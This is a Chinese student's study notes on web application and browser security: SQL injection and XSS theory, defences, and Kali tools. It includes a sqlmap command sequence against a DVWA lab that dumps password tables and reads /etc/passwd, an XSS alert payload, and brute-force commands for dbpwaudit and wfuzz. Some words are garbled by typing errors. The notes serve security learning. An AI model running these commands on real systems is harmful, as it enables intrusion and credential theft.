教材内容学习与总结

第十一章 Web应用程序安全攻防

Web应用程序依赖于浏览器对应用程序进行渲染执行。Web应用体系主要有浏览器完成数据显示与展示内容的渲染功能;服务器端则有Web服务器软件、 Web应用程序及后端数据库构成,并通过经典的三层架构(three-tiers),即表示层、业务逻辑层和数据层,来进行组织和架构。二者之间通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。

Web攻防:

信息情报收集

手工审查Web应用程序结构与源代码
自动下载与镜像Web站点页面
使用GooGle Hacking技术审查雨天猜测Web应用程序

攻击Web服务器软件

Web服务器平台安全漏洞:数据驱动的远程代码执行安全漏洞、服务器功能拓展模块漏洞、样本文件安全漏洞、源代码泄露、资源解析攻击。

攻击Web应用程序

Web应用程序安全威胁从攻击者技术角度分为如下六类:针对认证机制攻击、授权机制攻击、客户端攻击、命令执行攻击、信息暴露、逻辑攻击。 最流行的的两类Web应用程序安全漏洞及攻击技术:SQL注入和XSS跨站脚本。

攻击Web数据内容

具体包括安全敏感数据泄露、网站内容遭到篡改以及不良信息内容上传威胁。

Web应用安全防范措施

  • Web站点网络传输安全防范措施:使用HTTPS,使用加密连接通道、对关键Web服务器设置静态绑定MAC-IP映射。
  • Web站点操作系统及服务安全设防措施:及时的补丁更新、进行远程阿奴那漏洞扫描、关闭不使用的服务、设置强口令字、部署防火墙、数据备份等。
  • Web应用程序安全设防措施:使用静态HTML、使用具有良好安全声誉及稳定技术支持力量的Web应用软件包、除非必要才使用自主或者外包Web应用程序、使用Web服务器软件提供的日志功能。
  • Web站点数据安全设防措施:提高维护人员数据安全意识、对维护网站数据安全实施日常监测和防护。

SQL 注入

SQL注入攻击步骤:

1 发现SQL注入点
2 判断后台数据库类型
3 后台数据库中管理员用户口令字猜解
4 上传ASP后门,得到默认账户权限
5 本地权限提升
6 利用数据库扩展存储过程执行Shell命令

SQL 注入攻击工具

Wposion 能在动态web文档中找出SQL注入漏洞
wieliekoek.pl 以网站镜像工具生成的输入为输出,对表单页面注入字符串修改
SPIKE Proxy 对待注入的字符串进行定制
SPI Toolkit工具包

SQL注入攻击防范

使用类型安全的参数编码机制
完备检查来自外部的用户输入
将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
加强SQL数据库服务器的配置与连接

XSS跨站脚本攻击

XSS攻击原理:是Web应用程序对用户数填入内容的安全认证与锅炉不完善

攻击类型:持久性XSS漏洞和非持久性XSS漏洞,或称为持久性XSS攻击和非持久性XSS攻击。

XSS攻击防范措施

服务器端:输入验证、输出净化、消除危险的输入点

客户端: 提示呢个浏览器的安全设置,如关闭cookie或者设置cookie只读等。

第十二章 Web浏览器安全攻防

Web浏览器软件安全困境三要素

复杂性、可扩展性、连通性。

Web安全威胁位置

传输网络的瓦那个罗协议安全威胁
Web浏览端系统平台的安全威胁
Web浏览器软件及插件程序的渗透攻击威胁
互联网用户涩会工程学攻击威胁

Web浏览端渗透攻击威胁

网页木马

网络钓鱼

网络钓鱼是社会工程学在互联网中广泛实施的一种典型攻击方式。

教材问题及解决

SQL注入攻击不太会,学习了@20169203@20169205@20169206三位大神的博客得以解决。

SQL注入

1、 运行 Apache Server:镜像已经安装,只需运行命令 %sudo service apache2 start
2、 phpBB2 web 应用:镜像已经安装,通过 http://www.sqllabmysqlphpbb.com 访问,应
用程序源代码位于/var/www/SQL/SQLLabMysqlPhpbb/
3、 配置 DNS: 上述的 URL 仅仅在镜像内部可以访问,原因是我们修改了/etc/hosts
文件使 http://www.sqllabmysqlphpbb.com 指向本机 IP 127.0.0.1。如果需要在其他机器访
问,应该修改 hosts 文件,使 URL 映射到 phpBB2 所在机器的 IP。

4、关闭对抗措施,建议使用sudo gedit php.ini,gedit有图形化,sudo是为了有权限保存。

xss实验

登陆www.sqllabmysqlphpbb.com网站 需要用户名密码


登录到论坛后发布一个帖子,帖子中包含以下内容:

<script>alert(’XSS’);</script>

视频学习总结

数据库评估软件

BBQSql

BBQSql是一个Python编写的盲注工具,当检测可以注入漏洞时会很有用,同时BBQSql是一个半自动工具,允许客户自定义参数。
在应用层序中打开BBQSql按照要求输入1可以设置 HTTP参数,要设置URL输入3。也可以按照需求输入其他。

DBPwAudit(数据库用户名密码枚举工具)

使用参数:
破解SQL数据库
#./dbpwaudit -s IP master(数据库名) -D mssql(数据库类型) -U username(字典) -P password(字典)
破解MYSQL数据库
#./dbpwaudit.sh -s IP -d mysql(数据库名称) -D mysql(数据库类型) -U username(字典) -P password(字典)

HexorBase 图形化的密码破解与连接工具,开源

Jsql Injection

JSQL是一款轻量级的安全测试工具,可以检测SQL注入漏洞,它跨平台(Windows、Linux、Mac OS X 、Solaris),开源且免费。将存在注入漏洞的URL贴进来即可进行响应漏洞利用,图形化界面亲民,使用效率不高。

MDBTools

包括
MDB-Export,以及MDB-Dump,mdb-parsecsv,mdb-sql,mdb-tables等子工具,具体环境具体使用。

Oracle scanner

oscanner是一个用java开发的Oracle评估工具。它是基于插件的结构,当前两个插件可以:

-使得列举
-口令测试
-列举Oracle版本
-列举帐号角色
-列举帐号特权
-列举帐号哈希
-列举审计信息
-列举口令策略
-列举数据库链接

SIDGusser

同样是针对oracle的SID进行暴力枚举工具。SID为oracle实例名,oracle连接字符串,通过实例名+用户名+密码连接。

SqlDICT:又一个用户名密码枚举工具,通过Wine运行。

听你上次买的10g

允许向oracle数据库注入命令。

SQLsus

SQLsus是一个开放源代码的MySql注入和人接管工具,SQLsus使用Perl编写,基于命令行界面。SQLsus可以获取数据库结构钢,注入自己的SQl语句,从服务器下载文件,爬行web站点可写目录,上传和控制后门,克隆数据库等。最好使用的亮点就是注射获取数据速度非常快,另一个最大的特点是自动搜索可写目录。
生成配置文件:

编辑配置文件:

修改 our $url_start = "";写入地址。

地洞并测试
sqlsus test.conf
查看全部数据库名字

sqlsus> get databases
[+] Geting databases names
设定数据库

sqlsus> set database
database = "sql"
sqlsus> set database mysql
database = "mysql"
sqlsus>
获取表
sqlsus> get tables

sqlninja

在sql注入方面一直尊sqlmap为神器,但sqlninja也有自己的特点。
Sqlninja是一款perl编写的专门针对Microsoft Sql Server的sql注入工具。和市面上其他的诸如工具不同,sqlninja没有将精力用在跑数据库上,而是侧重获得一个shell。sqlninja优点:
一个专门针对Microsoft Sql Server的sql注入工具。
可以远程sql服务器的标志和特征(版本、用户执行的查询、用户特权、xp-cmdshell的可用性、身份验证模式等)
“sa”口令的强力攻击
如果找到口令后,九江特权提升到“sa”
如果原始的xp-cmdshell被禁用后,就创建一个定制的xp-cmdshell。
使用纯粹的ASSCII GET/POST请求来上载netcat.exe程序(以及任何可执行程序),因此不需要FTP连接。
为了找到目标网络的防火墙所允许的端口,可以实施针对目标SQL,服务器TCP/UDP端口扫描。
逃避技术,使注入代码模糊不清,混淆/绕过机遇期阿宁的IPS和应用层防火墙。
采用“盲目执行”攻击模式,在其他模式失效时i,用于发布命令并执行诊断。
在sqlninja生成的代码上,执行自动化URL编码,用户可惊喜的控制漏洞利用的字符串。
得到权限sa,结合msf进一步对目标主机渗透。

sqlninja参数:

-m     指定攻击模式
    t/test    测试连接是否是注入点
    f/fingerprint    指纹识别,判断用户,数据库,xp_cmdshell是否能用
    b/bruteforce    暴力破解sa密码,-w指定字典,不适用字典sqlninja将会穷举。

Sqlmap

开源渗透测试工具,Python编写。自动化侦测实施Sql注入攻击及渗透数据库服务器,可以获取不同数据库的指纹信息,还可以提取数据。

 1、打开metasploitable2虚拟机,ifconfig 获取ip地址,在kali浏览器中输入 192.168.232.135/dvwa/login.php 进入,或者192.168.232.135 点击DVWA进入页面,输入用户名密码登录。
    进入后将DVWA  Security  调至 low。

![](http://images2015.cnblogs.com/blog/954133/201704/954133-20170402141237133-571971944.png)

 2、打开SQL Injection,在user ID分别输入1和1'查看区别,1'时出现报错,使用sqlmap命令检测漏洞。

为防止再次跳转到login页面,赋给其一个cookie 使它有当前cookie权限。

sqlmap -u "adress" --cookie='PHPSESSID=...;security=low'     (注意单双引号)

sqlmap -u "address" --cookie='PHPSESSID=xxxx;security=low' --current-db     //查看当前数据库
sqlmap -u "address" --cookie='PHPSESSID=xxxx;security=low' --current-user   //查看当前user
sqlmap -u "address" --cookie='PHPSESSID=xxxx;security=low' --dbs            //查看有哪些数据库
sqlmap -u "address" --cookie='PHPSESSID=xxxx;security=low' --users          //查看有哪些用户
sqlmap -u "address" --cookie='PHPSESSID=xxxx;security=low' --user --pass     //查看用户密码

sqlmap -u "address" --cookie='PHPSESSID=xxxx;security=low' --privileges       //查看自己的权限
sqlmap -u "address" --cookie='PHPSESSID=xxxx;security=low' --tables -D dvwa    //D指database,查询dvwa数据库中的表
sqlmap -u "address" --cookie='PHPSESSID=xxxx;security=low' --columns -T users -D dvwa   //查看的数据库中userss表(-T指tables)的字段信息
sqlmap -u "address" --cookie='PHPSESSID=xxxx;security=low' --dump -C user,password  -T users -D dvwa   //查看user和password字段
sqlmap -u "address" --cookie='PHPSESSID=xxxx;security=low' --sql-shell              //得到sqlshell可直接编写SQL语句
sql-shell> select load_file('/etc/passwd');

Web应用代理

Web应用代理工具分析数据包,修改数据包重放,暴力攻击在web安全测试中常用。可以用手机或者虚拟机连接应用代理,应用发送的数据包,都可以通过该工具重放。

Burp Suite

在8080端口上运行,可以截获并修改客户端到web应用程序的数据包。

  • 1、设置浏览器代理
  • 2、爬虫与扫描


  • 3、暴力破解表单账户密码

  • 4、Repeater该报重放模块

在Proxy中找到刚刚的包(最新的)右键send to repeater。可以随意查看和修改,点击go查看。

  • 5、decoder模块;编码解码模块

  • 6、compare 模块;比较两个请求包
    列出两个包有什么不同

  • 7、extender 插件模块

owaspZAP

是一款网页应用程序漏洞综合渗透测试工具,包含拦截代理、自动处理、被动处理、暴力破解、端口扫描、蜘蛛搜索等功能。是会话类调试工具,不会对网站发送大量请求,对服务器影响较小。

VEGA

开源的web应用程序安全测试平台,Vega能帮助验证SQL注入、跨站脚本(XSS)、敏感信息泄露和其他一些安全漏洞。Vega使用java编写,有GUI,可以在多平台下运行。Vega类似于Paros Proxy, Fiddler, Skipfish and ZAproxy。

Paros

基于java代理程序,评估web应用程序漏洞,支持HTTP/HTTPS。包括SQL注入,跨站点脚本攻击、目录遍历等。

Webscarad

代理软件,包含HTTP代理、网络爬行,网络蜘蛛、会话ID分析、自动脚本接口、模糊测试工具、web格式编码/解码、web服务描述语言、soap解析器功能。基于GNU协议,java编写,是webgoat工具之一。

FUZZ 模糊测试工具

bed.pl

纯文本协议fuzz工具,检查常见漏洞,缓冲区溢出、格式串漏洞、整数溢出等。

bed -s FTP -t 192.168.232.135 -p 21 -o 5     //-s测试插件;-t目标IP;-p端口;-o timeout

Fuzz_ipv6

THC出品针对IPV6协议的模糊测试工具

0hrwurm RTP的fuzz工具

powerfuzzer 图形化的fuzz工具

Wfuzz

针对WEB应用的模糊测试工具,暴力破解web应用,支持对网站目录,登录信息,应用资源文件等暴力猜解,get及post参数猜解,sql注入,xss漏洞测试,依赖于字典。与burpsuite区别是,他更轻量级。

wfuzz -c -z file,commom.txt --hc 404 -o html http://www.baidu.com/FUZZ 2>res.html   //将要拆解的文件用FUZZ代替
wfuzz -c -z file,users.txt -z file,pass.txt --hc 404 http://www.site.com/log.asp?user=FUZZ&pass=FUZZ          //登录页面口令猜解,或略404页面
wfuzz -c -cz range,1-10 --hc=BBB http://www.site.com/FUZZ{something}    //页面数目猜解

xsser

xsser -u "http://192.168.232.135/dvwa/vulnerabilities/xss_r/?name=" --cookie="PHPSESSID=268251cc1b75fe13ebc51cfff466389f;security=low" -v  //-v显示结果


视频学习问题及解决

Burp Suitepa爬虫及扫描的时候设置IP为127.0.0.1 端口号为8080 。proxy获取的包和输入的不一致,不能同步。解决:经过多次 forword drop 之后就对了。

学习进度条

时间 学习目标时间 实际学习时间
第一周 12 16
第二周 12 13
第三周 12 12
第四周 12 10
第五周 12 16

参考资料